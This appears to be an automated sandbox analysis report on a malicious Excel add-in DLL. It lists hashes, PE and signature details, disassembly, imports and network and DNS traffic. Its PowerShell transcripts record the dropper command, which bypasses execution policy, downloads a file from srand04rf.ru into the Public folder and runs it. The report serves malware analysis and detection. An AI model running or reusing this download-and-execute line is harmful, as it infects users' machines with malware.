Preview:	.********************..Windows PowerShell transcript start..Start time: 20210708163025..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 888683 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe'..Process ID: 5944..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210708163026..******************..PS>poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe'....******

C:\Users\user\Documents\20210708\PowerShell_transcript.888683.93l2YHGR.20210708163033.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	5.2109369727717985
Encrypted:	false
SSDEEP:	24:BxSADxvBnnDx2DOXUW4L1+WEHjeTKKjX4CIym1ZJXsNnxSAZNq:BZtvhDoOs1pEqDYB1ZOxZZNq
MD5:	2DB1F1A4DD113B692007B7089DE7A226
SHA1:	03920B9D36563DFB26E0408BD2A9DE9B8914F0FE
SHA-256:	9815EE4EF24399DA60B77429BFB41E1D5BCDEB7B5FBA7DC2F4B9C442B7264215
SHA-512:	A4788DA06C4FA30BD8302AF771B08EC605B72C06FA10A50671143E95DBD816D2264A9C5AE640B4783153F5A6A51413CC447CEEE15FE3EC1E8818F1DE2807B2BA
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210708163045..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 888683 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -EX bYpASs -NOp -w 1 WGeT http://srand04rf.ru/08.jpg -OuTfIle c:\Users\Public\snd32sys.exe..Process ID: 5788..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210708163046..******************..PS>WGeT http://srand04rf.ru/08.jpg -OuTfIle c:\Users\Public\snd32sys.exe..******************..Command start time: 20210708163350..******************..PS>$global:?..True..********************..Windows PowerShell

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.069104587121557
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% VXD Driver (31/22) 0.00%
File name:	0708_5355150121.xll
File size:	24488
MD5:	41e0318dfdb1c180a375a7efc712649e
SHA1:	f0c230010c7b85544c25879d4daf74479360e1bc
SHA256:	73b8c566d8cdf3200daa0b698b9d32a49b1ea8284a1e6aa6408eb9c9daaacb71
SHA512:	b20ec32ba9f7269deda4f70e655bb7a105dde896524bfd9c788605f2a0a26bc3bc7ddceed93c4f7b14404a65107647a9b9840c8adec32c12d92138b69805cc17
SSDEEP:	384:Er7ozcN5pozcU7ZHW7pw0jGWdqFQv6HovAcdKhKAUgLysGpwKNsc8kYN5:ika52naz78+KKd81UgLJc8ks
File Content Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L......`...........!...I.....@......................................................9s....@.............................B..

File Icon


Icon Hash:	80b6f2d2f6f6d2cc

Static PE Info

General
Entrypoint:	0xcd418fb
Entrypoint Section:	.img
Digitally signed:	true
Imagebase:	0xcd40000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LINE_NUMS_STRIPPED
DLL Characteristics:	DYNAMIC_BASE
Time Stamp:	0x60E5C2AB [Wed Jul 7 15:05:15 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	1
OS Version Minor:	0
File Version Major:	1
File Version Minor:	0
Subsystem Version Major:	1
Subsystem Version Minor:	0
Import Hash:	8fc6d9b5f93578c52ec239ef6c29b5ac

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	A required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file
Error Number:	-2146762495
Not Before, Not After	6/8/2021 5:00:00 PM 6/9/2022 4:59:59 PM
Subject Chain	CN=Storeks LLC, O=Storeks LLC, L=Moscow, C=RU
Version:	3
Thumbprint MD5:	D8E818AC7AC0DB90212FAB404C566D4C
Thumbprint SHA-1:	91319E6A55BF0EF68DB8AFB31845AB961356175F
Thumbprint SHA-256:	127B54C50D77A329A145B0A5686E2214D2ED40482C0375D0DE278BA4A135DEDE
Serial:	1E5EFA53A14599CC82F56F0790E20B17

Entrypoint Preview

Instruction
mov eax, 00000001h
retn 000Ch
sub esp, 00001254h
call 00007FBDDC907867h
imul eax, dword ptr [eax], 65h
add byte ptr [edx+00h], dh
outsb
add byte ptr [ebp+00h], ah
insb
add byte ptr [ebx], dh
add byte ptr [edx], dh
add byte ptr [eax], al
add al, ch
sti
add al, byte ptr [eax]
add byte ptr [ecx+000DE8C3h], cl
add byte ptr [eax], al
dec esp
outsd
popad
dec esp
imul esp, dword ptr [edx+72h], 57797261h
add byte ptr [ebx-18h], dl
pop edx
add eax, dword ptr [eax]
add byte ptr [ecx+000FE8C7h], cl
add byte ptr [eax], al
inc edi
je 00007FBDDC9078A3h
jc 00007FBDDC9078C1h
arpl word ptr [ecx+64h], ax
jc 00007FBDDC9078B8h
jnc 00007FBDDC9078C5h
add byte ptr [ebx-18h], dl
add eax, dword ptr [eax]
add byte ptr [ecx+001AE8C6h], cl
add byte ptr [eax], al
inc ebp
js 00007FBDDC9078C2h
popad
outsb
inc ebp
outsb
jbe 00007FBDDC9078BBh
jc 00007FBDDC9078C1h
outsb
insd
outsb
je 00007FBDDC9078A5h
je 00007FBDDC9078C4h
imul ebp, dword ptr [esi+67h], 53005773h
call esi
push 00000104h
lea edx, dword ptr [esp+00001010h]
push edx
call 00007FBDDC90787Bh
and eax, 55005000h
add byte ptr [edx+00h], al
dec esp
add byte ptr [ecx+00h], cl
inc ebx
add byte ptr [72005C00h], ah
add byte ptr [ebp+00h], ah
jnc 00007FBDDC907852h
xor eax, dword ptr [eax]
xor al, byte ptr [eax]
add byte ptr [eax+00h], ch
je 00007FBDDC907852h
popad
add byte ptr [eax], al
add bh, bh
shr al, 1
or al, 00h
add byte ptr [eax], al
inc ebx
jc 00007FBDDC9078B7h
popad

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9000	0x42	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1000	0xf05	.img
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x4600	0x19a8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa000	0x8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.img	0x1000	0xf05	0xe00	False	0.495256696429	data	5.15354590708	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.ico	0x2000	0x1000	0x1000	False	0.122802734375	data	1.29754900082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.fyjrtr	0x3000	0x1000	0x1000	False	0.566650390625	data	5.36518457685	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rytkrer	0x4000	0x1000	0x1000	False	0.767822265625	data	6.70050253557	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reyery	0x5000	0x200	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.txt	0x6000	0x200	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x7000	0x200	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.res	0x8000	0x200	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.edata	0x9000	0x42	0x200	False	0.103515625	data	0.543966493249	IMAGE_SCN_MEM_READ
.reloc	0xa000	0x8	0x200	False	0.03515625	data	0.0203931352361	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
msvbvm60.dll	__vbaLateIdSt, __vbaBoolVar, rtcStringBstr, rtcRightTrimBstr, rtcEndOfFile, __vbaBoolVarNull, __vbaNextEachCollObj, rtcAbsVar, TipCreateInstanceEx, __vbaDerefAry1, __vbaFpUI1, rtcKillFiles, __vbaVarCmpLt, SetMemObj, __vbaForEachVar, BASIC_CLASS_QueryInterface, rtcEnvironBstr, EbLibraryLoad, Zombie_QueryInterface, rtR4FromErrVar, rtcMakeDir, VarPtr, PutMem2, rtcGetTimeValue, rtcPackDate, rtcCommandVar
kernel32.dll	FindAtomA, SetFileApisToANSI, SetFileAttributesA, LockResource, lstrcmpiW, FreeEnvironmentStringsW, VirtualFree, SetMailslotInfo, EnumSystemLocalesA, ScrollConsoleScreenBufferA, GetConsoleCommandHistoryA, GlobalUnlock, GetSystemDirectoryW, FatalExit, _lopen, DisableThreadLibraryCalls, WaitForSingleObject, PostQueuedCompletionStatus, InvalidateConsoleDIBits, CreateDirectoryExA, lstrcmpA, LocalFlags, GetFileInformationByHandle, BeginUpdateResourceA, GetVDMCurrentDirectories, SetFileAttributesW, CreateSemaphoreW, ReadConsoleOutputAttribute
oleaut32.dll	VarR4FromDisp, CreateStdDispatch, VarDateFromUI8, OleSavePictureFile, VarI2FromDisp, VarR8FromUI2, SysStringLen, VarDecFromUI2, VarR4FromUI8, SafeArrayCopyData, LPSAFEARRAY_Marshal, DispGetIDsOfNames, SafeArrayGetLBound, VarBstrFromR8, VarI2FromDec, GetRecordInfoFromGuids, VarBstrFromUI1, VarUI2FromI2, VarTokenizeFormatString
tapi32.dll	lineCreateAgentSessionA, lineSetMediaControl, MMCGetAvailableProviders, lineNegotiateAPIVersion, lineDialA, lineDrop

Exports

Name	Ordinal	Address
xlAutoOpen	1	0xcd41903

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 8, 2021 16:30:09.692430019 CEST	49724	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:09.726878881 CEST	80	49724	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:09.727005959 CEST	49724	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:09.727418900 CEST	49724	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:09.762516975 CEST	80	49724	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:09.811278105 CEST	80	49724	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:09.811317921 CEST	80	49724	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:09.811345100 CEST	80	49724	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:09.811362982 CEST	80	49724	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:09.811381102 CEST	80	49724	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:09.811399937 CEST	80	49724	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:09.811415911 CEST	80	49724	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:09.812691927 CEST	49724	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:10.367295027 CEST	49724	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.174525976 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.211349964 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.211483955 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.213911057 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.250462055 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.378170967 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.378241062 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.378279924 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.378309965 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.378346920 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.378382921 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.378420115 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.378422022 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.378456116 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.378460884 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.378468990 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.378492117 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.378510952 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.378530025 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.380610943 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.416707993 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.416785955 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.416913033 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.416939020 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417027950 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417084932 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417115927 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.417136908 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417190075 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417205095 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.417242050 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417292118 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417310953 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.417345047 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417397022 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417412043 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.417455912 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417510986 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417526960 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.417582989 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417639017 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417658091 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.417694092 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.417766094 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.418477058 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.418606997 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.418632984 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.418648005 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.418725967 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.418761015 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.455653906 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455688000 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455710888 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455730915 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455754995 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455775976 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455796003 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455815077 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455837011 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455856085 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455873966 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455878973 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.455892086 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455910921 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455919981 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.455926895 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.455929995 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455933094 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.455948114 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.455952883 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455969095 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.455986023 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.456007004 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.456024885 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.456027031 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.456073046 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.456084013 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.456089020 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.456115007 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.456135988 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.456156969 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.456180096 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.456223965 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.456248045 CEST	80	49748	8.211.241.0	192.168.2.3
Jul 8, 2021 16:30:58.456253052 CEST	49748	80	192.168.2.3	8.211.241.0
Jul 8, 2021 16:30:58.456315041 CEST	49748	80	192.168.2.3	8.211.241.0

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 8, 2021 16:29:53.564768076 CEST	60100	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:29:53.578222990 CEST	53	60100	8.8.8.8	192.168.2.3
Jul 8, 2021 16:29:54.178376913 CEST	53195	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:29:54.192507982 CEST	53	53195	8.8.8.8	192.168.2.3
Jul 8, 2021 16:29:54.824332952 CEST	50141	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:29:54.838404894 CEST	53	50141	8.8.8.8	192.168.2.3
Jul 8, 2021 16:29:55.835694075 CEST	53023	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:29:55.848789930 CEST	53	53023	8.8.8.8	192.168.2.3
Jul 8, 2021 16:29:56.741254091 CEST	49563	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:29:56.755331039 CEST	53	49563	8.8.8.8	192.168.2.3
Jul 8, 2021 16:29:57.480906010 CEST	51352	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:29:57.497735023 CEST	53	51352	8.8.8.8	192.168.2.3
Jul 8, 2021 16:29:59.299197912 CEST	59349	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:29:59.313008070 CEST	53	59349	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:00.503516912 CEST	57084	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:00.516273975 CEST	53	57084	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:01.344029903 CEST	58823	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:01.356662989 CEST	53	58823	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:08.551011086 CEST	57568	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:08.612201929 CEST	53	57568	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:08.898909092 CEST	50540	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:08.937540054 CEST	53	50540	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:09.381835938 CEST	54366	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:09.690469027 CEST	53	54366	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:09.912703991 CEST	50540	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:09.927294016 CEST	53	50540	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:13.134540081 CEST	53034	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:13.147902012 CEST	53	53034	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:14.911003113 CEST	57762	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:14.924371958 CEST	53	57762	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:15.634979010 CEST	55435	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:15.648191929 CEST	53	55435	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:16.993629932 CEST	50713	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:17.006740093 CEST	53	50713	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:18.653445959 CEST	56132	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:18.667047024 CEST	53	56132	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:19.314007044 CEST	58987	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:19.327969074 CEST	53	58987	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:21.062259912 CEST	56579	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:21.078854084 CEST	53	56579	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:21.765441895 CEST	60633	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:21.778531075 CEST	53	60633	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:21.855720043 CEST	61292	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:21.870990038 CEST	53	61292	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:30.737751961 CEST	63619	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:30.759521961 CEST	53	63619	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:49.591932058 CEST	64938	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:49.628288031 CEST	53	64938	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:52.060528994 CEST	61946	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:52.076414108 CEST	53	61946	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:55.887640953 CEST	64910	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:55.906641960 CEST	53	64910	8.8.8.8	192.168.2.3
Jul 8, 2021 16:30:57.862971067 CEST	52123	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:30:58.155386925 CEST	53	52123	8.8.8.8	192.168.2.3
Jul 8, 2021 16:31:27.690449953 CEST	56130	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:31:27.718674898 CEST	53	56130	8.8.8.8	192.168.2.3
Jul 8, 2021 16:31:41.349364996 CEST	56338	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:31:41.383874893 CEST	53	56338	8.8.8.8	192.168.2.3
Jul 8, 2021 16:31:44.151695967 CEST	59420	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:31:44.173644066 CEST	53	59420	8.8.8.8	192.168.2.3
Jul 8, 2021 16:31:52.775281906 CEST	58784	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:31:52.788335085 CEST	53	58784	8.8.8.8	192.168.2.3
Jul 8, 2021 16:31:53.091214895 CEST	63978	53	192.168.2.3	8.8.8.8
Jul 8, 2021 16:31:53.451231003 CEST	53	63978	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 8, 2021 16:30:09.381835938 CEST	192.168.2.3	8.8.8.8	0xdd4d	Standard query (0)	srand04rf.ru	A (IP address)	IN (0x0001)
Jul 8, 2021 16:30:57.862971067 CEST	192.168.2.3	8.8.8.8	0x7e19	Standard query (0)	srand04rf.ru	A (IP address)	IN (0x0001)
Jul 8, 2021 16:31:52.775281906 CEST	192.168.2.3	8.8.8.8	0xdfcb	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)
Jul 8, 2021 16:31:53.091214895 CEST	192.168.2.3	8.8.8.8	0x6ae3	Standard query (0)	sudepallon.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 8, 2021 16:30:09.690469027 CEST	8.8.8.8	192.168.2.3	0xdd4d	No error (0)	srand04rf.ru		8.211.241.0	A (IP address)	IN (0x0001)
Jul 8, 2021 16:30:58.155386925 CEST	8.8.8.8	192.168.2.3	0x7e19	No error (0)	srand04rf.ru		8.211.241.0	A (IP address)	IN (0x0001)
Jul 8, 2021 16:31:52.788335085 CEST	8.8.8.8	192.168.2.3	0xdfcb	No error (0)	api.ipify.org	nagano-19599.herokussl.com		CNAME (Canonical name)	IN (0x0001)
Jul 8, 2021 16:31:52.788335085 CEST	8.8.8.8	192.168.2.3	0xdfcb	No error (0)	nagano-19599.herokussl.com	elb097307-934924932.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jul 8, 2021 16:31:52.788335085 CEST	8.8.8.8	192.168.2.3	0xdfcb	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		23.21.173.155	A (IP address)	IN (0x0001)
Jul 8, 2021 16:31:52.788335085 CEST	8.8.8.8	192.168.2.3	0xdfcb	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.235.175.90	A (IP address)	IN (0x0001)
Jul 8, 2021 16:31:52.788335085 CEST	8.8.8.8	192.168.2.3	0xdfcb	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.19.92.227	A (IP address)	IN (0x0001)
Jul 8, 2021 16:31:52.788335085 CEST	8.8.8.8	192.168.2.3	0xdfcb	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.235.121.178	A (IP address)	IN (0x0001)
Jul 8, 2021 16:31:52.788335085 CEST	8.8.8.8	192.168.2.3	0xdfcb	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.243.175.83	A (IP address)	IN (0x0001)
